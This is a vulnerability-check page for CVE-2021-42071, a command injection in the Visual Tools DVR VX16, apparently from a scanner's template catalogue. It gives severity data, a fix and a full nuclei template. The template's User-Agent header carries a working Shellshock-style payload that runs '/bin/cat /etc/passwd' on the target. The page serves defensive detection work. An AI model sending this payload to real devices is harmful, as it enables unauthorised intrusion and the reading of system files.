Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection

criticalseverity

9.8CVSS score

69.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Visual Tools DVR VX16 4.2.28.0 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.

Impact

Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the confidentiality, integrity, and availability of the affected system.

Fix

Apply the latest security patch or update provided by the vendor to fix the command injection vulnerability in the Visual Tools DVR VX16 4.2.28.0 device.

How to confirm it

Send: GET /cgi-bin/slogin/login.py
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-42071 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-42071

info:
  name: Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection
  author: gy741
  severity: critical
  description: Visual Tools DVR VX16 4.2.28.0 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Apply the latest security patch or update provided by the vendor to fix the command injection vulnerability in the Visual Tools DVR VX16 4.2.28.0 device.
  reference:
    - https://www.exploit-db.com/exploits/50098
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42071
    - https://visual-tools.com/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42071
    cwe-id: CWE-78
    epss-score: 0.69882
    epss-percentile: 0.99379
    cpe: cpe:2.3:o:visual-tools:dvr_vx16_firmware:4.2.28.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: visual-tools
    product: dvr_vx16_firmware
  tags: cve2021,cve,edb,visualtools,rce,oast,injection,visual-tools,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/slogin/login.py HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from